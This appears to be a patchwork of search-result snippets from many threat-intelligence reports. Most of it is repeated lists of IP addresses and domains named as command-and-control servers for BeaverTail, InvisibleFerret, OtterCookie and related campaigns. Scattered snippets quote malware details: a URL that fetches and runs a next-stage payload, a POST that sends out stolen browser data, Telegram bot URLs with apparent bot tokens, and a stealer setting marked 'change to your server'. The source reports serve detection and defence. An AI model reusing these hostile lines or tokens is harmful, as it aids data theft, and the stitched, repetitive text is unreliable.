66.102.11.99 81.95.147.107 20.51.217.113 45.142.211.22 1.0.0.3 1.9.0.1 134.175.236.132 122.228.228.71 5.39.67.19…","…North America. Team member Description IP Exit node Operator A Have access to the network range 192.168.140.0/24 146.19.106.230 WorkTitans B.V.…","…(may be shared origin) 2 144.217.207.22 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 146.190.114.113 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 147.28.155.20 ipv4 insider August 2024…","…Command & Control servers 107.189.25.109 144.172.100.142 144.172.103.97 144.172.95.226 144.172.97.7 146.70.253.10 146.70.253.107 147.124.197.138 147.124.197.149 147.124.212.146 147.124.212.89 147.124.214.129 147.124.214.131…","…Theft Indicators of Compromise (IOCs) # C2 Endpoints # 135.181.123.177 138.201.50.5 144.172.105.235 144.172.112.106 146.70.253.107 23.127.202.249 23.227.202.244 http://fashdefi.store:6168/defy/v7 https://0927.vercel.app/api/ipcheck…","…Five of ours appear on it: 23.227.202.244 , 146.70.253.107 , 45.61.150.31 , 88.218.0.78 and 5.253.43.122 .…","…fetches and executes the next stage which is InvisibleFerret : http://146.70.253.107:1224/pdown (ZIP file with Python) http://146.70.253.107:1224/client/99/81 (Malicious Python script – InvisibleFerret) Interestingly, the campaign used here specifically mentions it has been…","…browser stealer, persistent access via AnyDesk backdoor. Act 5: Breaking Into the Operator Panel Wave 12: CVE-2024-4577 The C2 at 146.70.253.107 runs XAMPP with Apache 2.4.58 and PHP 8.1.25 on Windows Server 2022.…","…144.172.103.97 144.172.104.113 144.172.105.189 144.172.105.235 144.172.106.7 144.172.106.133 144.172.109.98 144.172.109.155 144.172.112.106 146.70.253.107 147.124.197.138 147.124.212.125 147.124.213.19 147.124.213.232 147.124.214.129 147.124.214.131 147.124.214.237 165.140.85.105 165.140.86.15…","…94.232.247.192 95.164.17.24 95.164.33.66 95.164.45.239 95.217.124.253 angeloperonline.online lianxinxiao.com sageskills-uk.com www.dalas.nl 146.70.253.107 141.98.168.79 69.10.53.86 60.93.32.117 103.35.188.237 23.227.203.204 217.148.142.113 0.10.51.212 45.61.151.174 23.227.203.192 23.227.202.51…","…This BeaverTail variant compresses exfiltrated data using zip -r and then exfiltrates it all to an IP address: POST <http://146.70.41.188:1224/uploads> Content-Type: multipart/form-data { type: \"7\", htype: \"<victim_hostname>\", identifier: \"<browser_name>\", gtype: \"701\",…","…Actor: Super@3-AHR-2 217.138.198.34, 89.187.161.220 Threat Actor: degen@Alli 167.88.61.148 Threat Actor: firebird@3-KJH 146.70.63.2 BitMEX 2,685 articles Team BitMEX is a leading crypto derivatives exchange.…","…217.138.198.34, 89.187.161.220 Threat Actor: degen@Alli 167.88.61.148 Threat Actor: firebird@3-KJH 146.70.63.2 Related BitMEX Company Updates Security and Custody Beyond the Pond…","…identification of four additional IP addresses registered through the same provider, each resembling clones of the primary C2 server: 146.70.87.202 193.27.14.208 193.187.148.116 86.106.85.90 This cluster suggests the operators provisioned multiple VPS nodes under the same…","…& Control servers 107.189.25.109 144.172.100.142 144.172.103.97 144.172.95.226 144.172.97.7 146.70.253.10 146.70.253.107 147.124.197.138 147.124.197.149 147.124.212.146 147.124.212.89 147.124.214.129 147.124.214.131 147.124.214.237 165.140.86.227 172.86.84.38…","…144.172.104.113 144.172.105.189 144.172.105.235 144.172.106.7 144.172.106.133 144.172.109.98 144.172.109.155 144.172.112.106 146.70.253.107 147.124.197.138 147.124.212.125 147.124.213.19 147.124.213.232 147.124.214.129 147.124.214.131 147.124.214.237 165.140.85.105 165.140.86.154 165.140.86.160…","…107.189.25.109 144.172.100.142 144.172.103.97 144.172.95.226 144.172.97.7 146.70.253.10 146.70.253.107 147.124.197.138 147.124.197.149 147.124.212.146 147.124.212.89 147.124.214.129 147.124.214.131 147.124.214.237 165.140.86.227 172.86.84.38 172.86.98.240…","…05.235 144.172.106.7 144.172.109.98 144.172.112.106 144.172.122.143 144.172.74.108 144.172.74.48 144.172.86.27 144.172.95.226 144.172.96.80 147.124.197.149 147.124.212.146 147.124.212.89 147.124.213.11 147.124.213.29 147.124.214.129 147.124.214.131 147.124.214.237 165.140.86.227 166.88.132.39 1…","…pobelstudio.com pobel.studio kikaiverse.com lalitae.com The operator server for OtterCookie is a separate host, 147.124.202.205 , split across ports 7671, 7676 and 7679. When reviewing the related domains above, w3pi.social caught our attention, mainly because it's…","StoatWaffle command-and-control server reported by NTT Security Japan, reached by the modular Node.js loader that blockchain-themed Visual Studio Code lure projects installed. NTT attributes StoatWaffle to WaterPlum, its name for the Contagious Interview operators.","…We think it necessary to pay close attention to their activities. IoC 185.163.125.196 147.124.202.208 163.245.194.216 66.235.168.136 87.236.177.9 記事をシェアする 前の記事 WaterPlumが使用するマルウェアStoatWaffleについて CARO Workshop 2026 登壇レポート…","…Indicators of Compromise Type Value First Seen Last Seen IPv4 147.124.202.225 2026-02-26 2026-07-02 IPv4 45.59.163.23 2026-01-21 2026-04-01 EMAIL andrew@koinos.us[email protected]…","…107.189.20.115 AS14956 RouterHosting LLC 144.172.97.36 - - 144.172.104.196 AS14956 RouterHosting LLC 147.124.202.225 AS397423 Tier.Net Technologies LLC 151.241.109.136 AS47846 LeaseWeb Netherlands B.V. 165.140.86.52 AS397423…","…216.250.251.211 216.250.251.87 45.59.163.23 45.59.163.55 38.92.47.152 103.65.230.100 147.124.213.19 66.235.175.117 66.235.175.109 147.124.202.225 67.203.7.205 147.124.213.232 172.86.73.198 URL…","…Indicators of Compromise Type Value First Seen Last Seen IPv4 147.124.202.225 2026-02-26 2026-09-21 IPv4 45.59.163.23 2026-01-21 2026-04-01 EMAIL andrew@koinos.us 2026-02-26…","…Stage 2: Dedicated C2 Servers IP Hostname ASN Role 147.124.213.232 WR232 AS396073 (Majestic Hosting) Primary C2 147.124.212.125 W9_125 AS396073 Secondary C2 216.250.251.87 WIN-8OA3CCQAE4D AS396073 Backup 45.43.11.199 WIN-4MOD9QVI0EN AS397423 (TIER-NET) Router…","…Primary C2 (env08539) codeviewer-three.vercel.app Domain Vercel C2 (31df390f0305) 11.34.242.92 IP NEW C2 (from deobfuscation) 147.124.212.125 IP Active socket C2 66.235.168.238 IP Active socket C2 45.59.163.55 IP Active socket C2 0xad031E8d8877481337cD53E141C16A2201BB6F4d…","…1224 Primary operator C2 Active 95.164.17.24 1224 AnyDesk RAT C2 Active 147.124.213.232 1244 BeaverTail victim C2 Active 147.124.212.125 1244 BeaverTail victim C2 Active 147.124.214.129 1244 BeaverTail victim C2 Active 66.235.168.238 1244, 22411-22413 BeaverTail +…","…144.172.105.189 144.172.105.235 144.172.106.7 144.172.106.133 144.172.109.98 144.172.109.155 144.172.112.106 146.70.253.107 147.124.197.138 147.124.212.125 147.124.213.19 147.124.213.232 147.124.214.129 147.124.214.131 147.124.214.237 165.140.85.105 165.140.86.154 165.140.86.160 165.140.86.181…","…The same physical server handles victims from both campaigns. BeaverTail C2s (confirmed): 147.124.213.232, 147.124.212.125, 147.124.214.129, 66.235.168.238, 45.59.163.55, 216.250.251.87 OtterCookie C2s (confirmed): 172.86.105.40, 172.86.116.178,…","….171 67.203.7.245 77.37.37.81 91.92.120.135 95.164.17.24 144.172.74.48 144.172.79.23 147.124.212.89 147.124.213.11 147.124.213.29 147.124.212.146 147.124.214.129 147.124.214.131 147.124.214.237 167.88.36.13 167.88.168.152 167.88.168.24 172.86.97.80 172.86.98.143 172.86.98.240…","…144.172.100.142 144.172.103.97 144.172.95.226 144.172.97.7 146.70.253.10 146.70.253.107 147.124.197.138 147.124.197.149 147.124.212.146 147.124.212.89 147.124.214.129 147.124.214.131 147.124.214.237 165.140.86.227 172.86.84.38 172.86.98.240 185.153.182.241…","…Named *.env for Target Reconnaissance Appendix - IOC 135.181.242.24 140.99.223.36 144.172.74.108 144.172.74.48 144.172.79.23 147.124.212.146 147.124.212.89 147.124.213.11 147.124.213.17 147.124.213.29 147.124.214.129 147.124.214.131 147.124.214.237 166.88.132.39 167.88.1…","…06.7 144.172.109.98 144.172.112.106 144.172.122.143 144.172.74.108 144.172.74.48 144.172.86.27 144.172.95.226 144.172.96.80 147.124.197.149 147.124.212.146 147.124.212.89 147.124.213.11 147.124.213.29 147.124.214.129 147.124.214.131 147.124.214.237 165.140.86.227 166.88.132.39 167.88.164.29 167…","…( /api/settings/{os} , 403/404) Additional stage-2 hard C2s ( :1224 ): 51.178.11.177 (OVH; hardcoded in 9 repos); 216.250.251.187 , 147.124.212.180 (Majestic); 216.250.249.179 , live 2026-07-12, found via Shodan, in no repo Stage-2 hosting hub: Majestic Hosting Solutions, AS396073…","…The rest come from earlier commits. text copy 51.210.65.37 current 141.94.148.35 historical 141.94.148.39 historical 147.124.212.180 historical 147.124.212.207 historical 151.80.76.66 historical 167.114.215.75 historical 216.250.251.187 historical…","…earlier commits. text copy 51.210.65.37 current 141.94.148.35 historical 141.94.148.39 historical 147.124.212.180 historical 147.124.212.207 historical 151.80.76.66 historical 167.114.215.75 historical 216.250.251.187 historical 216.250.252.245 historical 54.39.43.114…","….160.14 45.61.169.187 45.140.147.208 67.203.7.171 67.203.7.245 77.37.37.81 91.92.120.135 95.164.17.24 144.172.74.48 144.172.79.23 147.124.212.89 147.124.213.11 147.124.213.29 147.124.212.146 147.124.214.129 147.124.214.131 147.124.214.237 167.88.36.13 167.88.168.152 167.88.1…","…144.172.103.97 144.172.95.226 144.172.97.7 146.70.253.10 146.70.253.107 147.124.197.138 147.124.197.149 147.124.212.146 147.124.212.89 147.124.214.129 147.124.214.131 147.124.214.237 165.140.86.227 172.86.84.38 172.86.98.240 185.153.182.241 185.235.241.208…","…Reconnaissance Appendix - IOC 135.181.242.24 140.99.223.36 144.172.74.108 144.172.74.48 144.172.79.23 147.124.212.146 147.124.212.89 147.124.213.11 147.124.213.17 147.124.213.29 147.124.214.129 147.124.214.131 147.124.214.237 166.88.132.39 167.88.164.29 167.88.16…","….98 144.172.112.106 144.172.122.143 144.172.74.108 144.172.74.48 144.172.86.27 144.172.95.226 144.172.96.80 147.124.197.149 147.124.212.146 147.124.212.89 147.124.213.11 147.124.213.29 147.124.214.129 147.124.214.131 147.124.214.237 165.140.86.227 166.88.132.39 167.88.164.29 167.88.168.152 172…","…69.187 45.140.147.208 67.203.7.171 67.203.7.245 77.37.37.81 91.92.120.135 95.164.17.24 144.172.74.48 144.172.79.23 147.124.212.89 147.124.213.11 147.124.213.29 147.124.212.146 147.124.214.129 147.124.214.131 147.124.214.237 167.88.36.13 167.88.168.152 167.88.168.24 172.86.97…","…Appendix - IOC 135.181.242.24 140.99.223.36 144.172.74.108 144.172.74.48 144.172.79.23 147.124.212.146 147.124.212.89 147.124.213.11 147.124.213.17 147.124.213.29 147.124.214.129 147.124.214.131 147.124.214.237 166.88.132.39 167.88.164.29 167.88.168.152 167.88.16…","….106 144.172.122.143 144.172.74.108 144.172.74.48 144.172.86.27 144.172.95.226 144.172.96.80 147.124.197.149 147.124.212.146 147.124.212.89 147.124.213.11 147.124.213.29 147.124.214.129 147.124.214.131 147.124.214.237 165.140.86.227 166.88.132.39 167.88.164.29 167.88.168.152 172.86.100.168 172…","…IPv4 103.65.230.100 2026-02-26 2026-02-26 IPv4 216.250.251.211 2026-02-26 2026-02-26 IPv4 147.124.213.19 2026-01-21 2026-02-26 IPv4 67.203.7.205 2026-01-21 2026-02-26 IPv4 172.86.73.198 2026-01-21…","…144.172.105.235 144.172.106.7 144.172.106.133 144.172.109.98 144.172.109.155 144.172.112.106 146.70.253.107 147.124.197.138 147.124.212.125 147.124.213.19 147.124.213.232 147.124.214.129 147.124.214.131 147.124.214.237 165.140.85.105 165.140.86.154 165.140.86.160 165.140.86.181 165.140.86.227…","…2026-01-20 2026-02-26 DOMAIN vscode-load.onrender.com 2026-01-20 2026-02-26 IPv4 147.124.213.232 2026-01-12 2026-02-26 IPv4 216.250.251.87 2026-01-12 2026-02-26 IPv4 45.59.163.55 2026-01-12…","…/api/x bc7302f71ff3 brantwork.vercel.app /c/{token} bc7302f71ff3 Stage 2: Dedicated C2 Servers IP Hostname ASN Role 147.124.213.232 WR232 AS396073 (Majestic Hosting) Primary C2 147.124.212.125 W9_125 AS396073 Secondary C2 216.250.251.87 WIN-8OA3CCQAE4D AS396073…","…1 vs Part 2 Aspect Part 1 (2026-01-09) Part 2 (2026-01-20) Dead Drop Pastebin (1,000 accounts) Polygon blockchain Primary C2 147.124.213.232 87.236.177.9 Campaign Token hkMrMq7, kmHgMq7 env08539 Novel Finding Timing oracle, Z238 protocol Blockchain DDR Analysis: The…","…Addresses IP Port(s) Role Status 146.70.253.107 1224 Primary operator C2 Active 95.164.17.24 1224 AnyDesk RAT C2 Active 147.124.213.232 1244 BeaverTail victim C2 Active 147.124.212.125 1244 BeaverTail victim C2 Active 147.124.214.129 1244 BeaverTail victim C2 Active…","…144.172.106.7 144.172.106.133 144.172.109.98 144.172.109.155 144.172.112.106 146.70.253.107 147.124.197.138 147.124.212.125 147.124.213.19 147.124.213.232 147.124.214.129 147.124.214.131 147.124.214.237 165.140.85.105 165.140.86.154 165.140.86.160 165.140.86.181 165.140.86.227 172.86.73.198 17…","…7 45.59.163.23 45.59.163.55 38.92.47.152 103.65.230.100 147.124.213.19 66.235.175.117 66.235.175.109 147.124.202.225 67.203.7.205 147.124.213.232 172.86.73.198 URL…","…The same physical server handles victims from both campaigns. BeaverTail C2s (confirmed): 147.124.213.232, 147.124.212.125, 147.124.214.129, 66.235.168.238, 45.59.163.55, 216.250.251.87 OtterCookie C2s (confirmed): 172.86.105.40,…","…47.208 67.203.7.171 67.203.7.245 77.37.37.81 91.92.120.135 95.164.17.24 144.172.74.48 144.172.79.23 147.124.212.89 147.124.213.11 147.124.213.29 147.124.212.146 147.124.214.129 147.124.214.131 147.124.214.237 167.88.36.13 167.88.168.152 167.88.168.24 172.86.97.80 172.86.98.1…","…5.181.242.24 140.99.223.36 144.172.74.108 144.172.74.48 144.172.79.23 147.124.212.146 147.124.212.89 147.124.213.11 147.124.213.17 147.124.213.29 147.124.214.129 147.124.214.131 147.124.214.237 166.88.132.39 167.88.164.29 167.88.168.152 167.88.168.24 172.86.100.168 172.86.123…","…2.143 144.172.74.108 144.172.74.48 144.172.86.27 144.172.95.226 144.172.96.80 147.124.197.149 147.124.212.146 147.124.212.89 147.124.213.11 147.124.213.29 147.124.214.129 147.124.214.131 147.124.214.237 165.140.86.227 166.88.132.39 167.88.164.29 167.88.168.152 172.86.100.168 172.86.106.119 172…","…5 77.37.37.81 91.92.120.135 95.164.17.24 144.172.74.48 144.172.79.23 147.124.212.89 147.124.213.11 147.124.213.29 147.124.212.146 147.124.214.129 147.124.214.131 147.124.214.237 167.88.36.13 167.88.168.152 167.88.168.24 172.86.97.80 172.86.98.143 172.86.98.240 172.86.123.35…","…147.124.214.129 N/A Majestic Hosting Solutions, LLC 2024‑03‑22 BeaverTail/InvisibleFerret C&C and staging server.…","…144.172.95.226 144.172.97.7 146.70.253.10 146.70.253.107 147.124.197.138 147.124.197.149 147.124.212.146 147.124.212.89 147.124.214.129 147.124.214.131 147.124.214.237 165.140.86.227 172.86.84.38 172.86.98.240 185.153.182.241 185.235.241.208 216.126.229.166…","…1224 AnyDesk RAT C2 Active 147.124.213.232 1244 BeaverTail victim C2 Active 147.124.212.125 1244 BeaverTail victim C2 Active 147.124.214.129 1244 BeaverTail victim C2 Active 66.235.168.238 1244, 22411-22413 BeaverTail + binary protocol Active 45.59.163.55 1244 BeaverTail…","…When the string MTQ3LjEyNCaHR0cDovLw4yMTQuMTI5OjEyNDQ is decoded from Base64, it reveals a previously identified BeaverTail C2 IP address 147.124.214.129 . Figure 2 : HTTP POST instructions identified in the GitHub repository (Source: GitHub )…","…0.99.223.36 144.172.74.108 144.172.74.48 144.172.79.23 147.124.212.146 147.124.212.89 147.124.213.11 147.124.213.17 147.124.213.29 147.124.214.129 147.124.214.131 147.124.214.237 166.88.132.39 167.88.164.29 167.88.168.152 167.88.168.24 172.86.100.168 172.86.123.35 172.86.97.80…","…4.108 144.172.74.48 144.172.86.27 144.172.95.226 144.172.96.80 147.124.197.149 147.124.212.146 147.124.212.89 147.124.213.11 147.124.213.29 147.124.214.129 147.124.214.131 147.124.214.237 165.140.86.227 166.88.132.39 167.88.164.29 167.88.168.152 172.86.100.168 172.86.106.119 172.86.109.3 172.86…","…The same physical server handles victims from both campaigns. BeaverTail C2s (confirmed): 147.124.213.232, 147.124.212.125, 147.124.214.129, 66.235.168.238, 45.59.163.55, 216.250.251.87 OtterCookie C2s (confirmed): 172.86.105.40, 172.86.116.178, 86.106.85.234,…","…C2 Server Analysis The obfuscated JS backdoor linked to this malicious repository communicated to a C2 server with the IP address of 147.124.214.129 .…","…1.92.120.135 95.164.17.24 144.172.74.48 144.172.79.23 147.124.212.89 147.124.213.11 147.124.213.29 147.124.212.146 147.124.214.129 147.124.214.131 147.124.214.237 167.88.36.13 167.88.168.152 167.88.168.24 172.86.97.80 172.86.98.143 172.86.98.240 172.86.123.35 173.211.106.101…","…144.172.97.7 146.70.253.10 146.70.253.107 147.124.197.138 147.124.197.149 147.124.212.146 147.124.212.89 147.124.214.129 147.124.214.131 147.124.214.237 165.140.86.227 172.86.84.38 172.86.98.240 185.153.182.241 185.235.241.208 216.126.229.166 23.106.253.194…","…44.172.109.98 144.172.109.155 144.172.112.106 146.70.253.107 147.124.197.138 147.124.212.125 147.124.213.19 147.124.213.232 147.124.214.129 147.124.214.131 147.124.214.237 165.140.85.105 165.140.86.154 165.140.86.160 165.140.86.181 165.140.86.227 172.86.73.198 172.86.109.49 172.86.113.115 172.8…","…172.74.108 144.172.74.48 144.172.79.23 147.124.212.146 147.124.212.89 147.124.213.11 147.124.213.17 147.124.213.29 147.124.214.129 147.124.214.131 147.124.214.237 166.88.132.39 167.88.164.29 167.88.168.152 167.88.168.24 172.86.100.168 172.86.123.35 172.86.97.80 172.86.98.240…","….48 144.172.86.27 144.172.95.226 144.172.96.80 147.124.197.149 147.124.212.146 147.124.212.89 147.124.213.11 147.124.213.29 147.124.214.129 147.124.214.131 147.124.214.237 165.140.86.227 166.88.132.39 167.88.164.29 167.88.168.152 172.86.100.168 172.86.106.119 172.86.109.3 172.86.123.35 172.86.1…","…164.17.24 144.172.74.48 144.172.79.23 147.124.212.89 147.124.213.11 147.124.213.29 147.124.212.146 147.124.214.129 147.124.214.131 147.124.214.237 167.88.36.13 167.88.168.152 167.88.168.24 172.86.97.80 172.86.98.143 172.86.98.240 172.86.123.35 173.211.106.101 185.235.241.208…","…147.124.214.237 N/A Majestic Hosting Solutions, LLC 2023‑01‑28 BeaverTail/InvisibleFerret C&C and staging server.…","…146.70.253.107 147.124.197.138 147.124.197.149 147.124.212.146 147.124.212.89 147.124.214.129 147.124.214.131 147.124.214.237 165.140.86.227 172.86.84.38 172.86.98.240 185.153.182.241 185.235.241.208 216.126.229.166 23.106.253.194 23.106.253.215…","…4.172.109.155 144.172.112.106 146.70.253.107 147.124.197.138 147.124.212.125 147.124.213.19 147.124.213.232 147.124.214.129 147.124.214.131 147.124.214.237 165.140.85.105 165.140.86.154 165.140.86.160 165.140.86.181 165.140.86.227 172.86.73.198 172.86.109.49 172.86.113.115 172.86.116.90 172.86.…","…72.74.48 144.172.79.23 147.124.212.146 147.124.212.89 147.124.213.11 147.124.213.17 147.124.213.29 147.124.214.129 147.124.214.131 147.124.214.237 166.88.132.39 167.88.164.29 167.88.168.152 167.88.168.24 172.86.100.168 172.86.123.35 172.86.97.80 172.86.98.240 173.211.106.101…","…7 144.172.95.226 144.172.96.80 147.124.197.149 147.124.212.146 147.124.212.89 147.124.213.11 147.124.213.29 147.124.214.129 147.124.214.131 147.124.214.237 165.140.86.227 166.88.132.39 167.88.164.29 167.88.168.152 172.86.100.168 172.86.106.119 172.86.109.3 172.86.123.35 172.86.123.55 172.86.66.…","…(may be shared origin) 2 146.190.114.113 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 147.28.155.20 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 148.72.168.81 ipv4 insider August 2024…","…https://rentry.co/7hnvbc6n/raw https://api.telegram.org/bot6875598996:AAGATybCyN73i3als0VRGlP8cILsFjKf4ao/sendDocument?chat_id=7069869729 147.45.44.114 https://api.telegram.org/bot7265790107:AAE9XT3b23WyBHq-0fw5BwW5U7wzYNZT3cc/sendDocument?chat_id=7069869729 https://rentry.co/foyntbdk/raw…","…team9 0x05a071fcccb797cff4eedce28d0ae9c01444dc1a 82.158.192.152 team10 0xf4da4843ded8e82f3e7bd25290f4445000a4c4dd 165.140.86.57 → 147.93.2.250 (09-23) There’s also a sixth contract with exactly the same bytecode, 0xb5a3db644aad5124b17bf96c3782d5d7623b89fd , deployed on 25…","…7.229.145 61.92.48.59 103.213.247.48 20.254.53.47 104.168.32.203 198.12.107.229 20.40.97.94 37.115.98.97 2.4.0.0 141.98.6.105 91.206.92.208 148.251.71.182 54.249.210.44 061.19.253.26 209.59.216.158 11.76.6.1 3.130.37.158 94.142.138.111 94.75.201.1 144.48.240.85 91.224.92.26 94.130.200.99 66.10…","…(may be shared origin) 2 147.28.155.20 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 148.72.168.81 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 152.26.229.34 ipv4 insider August 2024…","….234.253.184 94.158.247.32 185.249.196.106 155.94.210.73 103.219.106.107 212.192.219.52 91.92.248.50 47.96.86.81 45.9.74.36 172.104.160.126 149.102.147.106 135.125.177.94 193.233.132.177 185.254.97.190 46.8.237.66 89.202.157.139 154.39.239.56 121.88.5.184 85.208.108.63 167.99.115.33 222.73.85.1…","…- 2023-01-24) 149.28.247.34 (2022-11-11 - 2022-11-11) 152.89.247.87 (2022-09-15 - 2022-10-24) 104.168.174.80 (2022-06-28 - 2022-09-16) 149.248.52.31 (2022-08-05 - 2022-08-31) 155.138.219.140 (2022-07-17 - 2022-08-16) YARA rules rule apt_Bluenoroff_downloader_mac_RustBucket { meta:…","…5.125.177.94 193.233.132.177 185.254.97.190 46.8.237.66 89.202.157.139 154.39.239.56 121.88.5.184 85.208.108.63 167.99.115.33 222.73.85.117 149.28.222.244 104.223.67.151 162.250.98.10 185.156.73.73 193.233.254.0 194.38.20.211 198.15.82.162 179.60.149.194 193.242.145.138 194.180.191.15 193.243.…","…Its entries aren’t labelled with a team, they’re labelled collector , and the C2 runs on port 7200, flipping between 66.235.168.152 and 150.241.203.68 .…","…are planted, all masquerading as MicrosoftCLROptimization under the SYSTEM profile. 14:12 The stealer begins POSTing host data to 150.251.113.223:8443 using rotating browser user agents. Total observed duration: ~ 167 hours Assessment The tradecraft, tooling, and…","….219.178.162 129.2.4.2 173.208.139.170 185.141.24.216 212.129.31.67 85.255.112.36 46.243.189.101 185.141.25.168 94.242.253.106 23.82.19.209 151.164.1.82 11.64.1.1 91.234.35.106 193.142.58.171 188.40.184.141 91.240.118.168 185.118.167.189 216.126.196.190 139.59.209.204 18.193.102.232 100.43.1…","…- - 144.172.104.196 AS14956 RouterHosting LLC 147.124.202.225 AS397423 Tier.Net Technologies LLC 151.241.109.136 AS47846 LeaseWeb Netherlands B.V. 165.140.86.52 AS397423 Tier.Net Technologies LLC 165.140.86.53 AS397423…","…프로필의 암호화 지갑 수집, 쿠키/키 추출, 파일 유출 그리고 원격동작을 하려고 설계된 악성코드입니다. 지속성 확보는 레지스트리 Run을 사용하고 있으며 하드 코드 된 C2 서버로 HTTP 전송 C2 UPLOAD0623URL =http://151.243.101.229:8080->포트 8080을 사용하는 C2 비콘(주기) 딜레이:MIN0623SLEEP = 20,MAX0623SLEEP = 40초 에러 재시도/백오프:DURATION0623ERRORWAIT = 5 명령/프로토콜 토큰 짧은 토큰들을 사용해 동작을…","…C2 Servers: 31.57.243.29 31.57.243.55 31.57.243.190 38.134.148.218 38.146.28.177 63.176.219.134 151.243.101.229 154.58.204.15 154.62.226.22 158.62.198.177 173.211.70.246 206.206.127.80 206.206.127.135 212.81.47.217 Appendix C: Astrill…","…51.210.65.37 current 141.94.148.35 historical 141.94.148.39 historical 147.124.212.180 historical 147.124.212.207 historical 151.80.76.66 historical 167.114.215.75 historical 216.250.251.187 historical 216.250.252.245 historical 54.39.43.114 historical 54.39.43.117…","…(may be shared origin) 2 148.72.168.81 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 152.26.229.34 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 152.26.229.42 ipv4 insider August 2024…","…(may be shared origin) 2 152.26.229.34 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 152.26.229.42 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 152.26.229.46 ipv4 insider August 2024…","…(may be shared origin) 2 152.26.229.42 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 152.26.229.46 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 152.26.229.47 ipv4 insider August 2024…","…(may be shared origin) 2 152.26.229.46 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 152.26.229.47 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 152.26.229.83 ipv4 insider August 2024…","…(may be shared origin) 2 152.26.229.47 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 152.26.229.83 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 152.26.229.86 ipv4 insider August 2024…","…(may be shared origin) 2 152.26.229.83 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 152.26.229.86 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 152.26.229.93 ipv4 insider August 2024…","…(may be shared origin) 2 152.26.229.86 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 152.26.229.93 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 152.26.231.42 ipv4 insider August 2024…","…(may be shared origin) 2 152.26.229.93 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 152.26.231.42 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 152.26.231.83 ipv4 insider August 2024…","…(may be shared origin) 2 152.26.231.42 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 152.26.231.83 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 152.26.231.86 ipv4 insider August 2024…","…(may be shared origin) 2 152.26.231.83 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 152.26.231.86 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 152.26.231.93 ipv4 insider August 2024…","…(may be shared origin) 2 152.26.231.86 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 152.26.231.93 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 152.26.231.94 ipv4 insider August 2024…","…(may be shared origin) 2 152.26.231.93 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 152.26.231.94 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 153.92.214.226 ipv4 insider August 2024…","…The IP addresses 185.100.85.250, 84.32.83.250, 153.92.126.84, 45.45.217.242, 208.115.220.17, 185.175.59.85, and 89.36.224.5 are associated with JINX-0164 infrastructure. npm package audit.…","…185.100.85.98 teamicrosoft.com, www.teamicrosoft.com, login.teamicrosoft.com, learn.teamicrosoft.com, resource.teamicrosoft.com 153.92.126.84 bitget-meeting.com, www.bitget-meeting.com, learn.bitget-meeting.com, login.bitget-meeting.com, resource.bitget-meeting.com…","…(may be shared origin) 2 152.26.231.94 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 153.92.214.226 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 157.245.59.236 ipv4 insider August 2024…","…134.175.236.132 122.228.228.71 5.39.67.191 37.10.71.35 207.226.178.158 51.79.185.145 207.226.171.35 31.210.20.22 62.210.10.120 58.49.58.20 154.12.92.53 94.228.169.123 89.188.16.18 69.50.170.100 115.238.251.56 91.243.44.21 107.175.3.10 222.186.50.35 185.183.98.14 167.99.39.23 195.88.208.210…","…20.211 198.15.82.162 179.60.149.194 193.242.145.138 194.180.191.15 193.243.147.143 162.19.214.208 116.9.143.112 208.67.222.222 91.92.253.11 154.204.179.4 176.111.174.140 185.106.94.51 112.175.69.77 185.123.53.208 154.91.64.19 51.75.36.184 172.104.65.137 178.250.159.150 79.174.92.22 67.198.179…","…and 27017 were also attempted which provided no significant results with the exception of new IP addresses 45.138.16.208 on port 8080 and 154.216.19.19 on port 8000. While investigating these two newly identified IP addresses, they appear to be outliers, although both are flagged as…","…logger.clob.health domain sha256-validate-rpc.vercel.app domain eslint-helper.vercel.app ip 45.8.22.144 ip 65.109.25.6 ip 154.38.188.168 ip 23.137.105.114 db cluster0.1ufrx5i.mongodb.net db aster.iejv3bg.mongodb.net npm packages Intermediate dependencies are…","…1.92.248.50 47.96.86.81 45.9.74.36 172.104.160.126 149.102.147.106 135.125.177.94 193.233.132.177 185.254.97.190 46.8.237.66 89.202.157.139 154.39.239.56 121.88.5.184 85.208.108.63 167.99.115.33 222.73.85.117 149.28.222.244 104.223.67.151 162.250.98.10 185.156.73.73 193.233.254.0 194.38.20.21…","…- nvidiaRelease.zip C2 servers http[://]31.57.243.29:8080 http[://]154.58.204.15:8080 http[://]212.81.47.217:8080 http[://] 31.57.243.190:8080 Download host names…","…It supplies the C2 URL and a list of Chromium wallet-extension IDs targeted by the Chrome “auto” modes. UPLOAD0623URL = \"http://154.58.204.15:8080\" # Change to your server MAX0623SLEEP 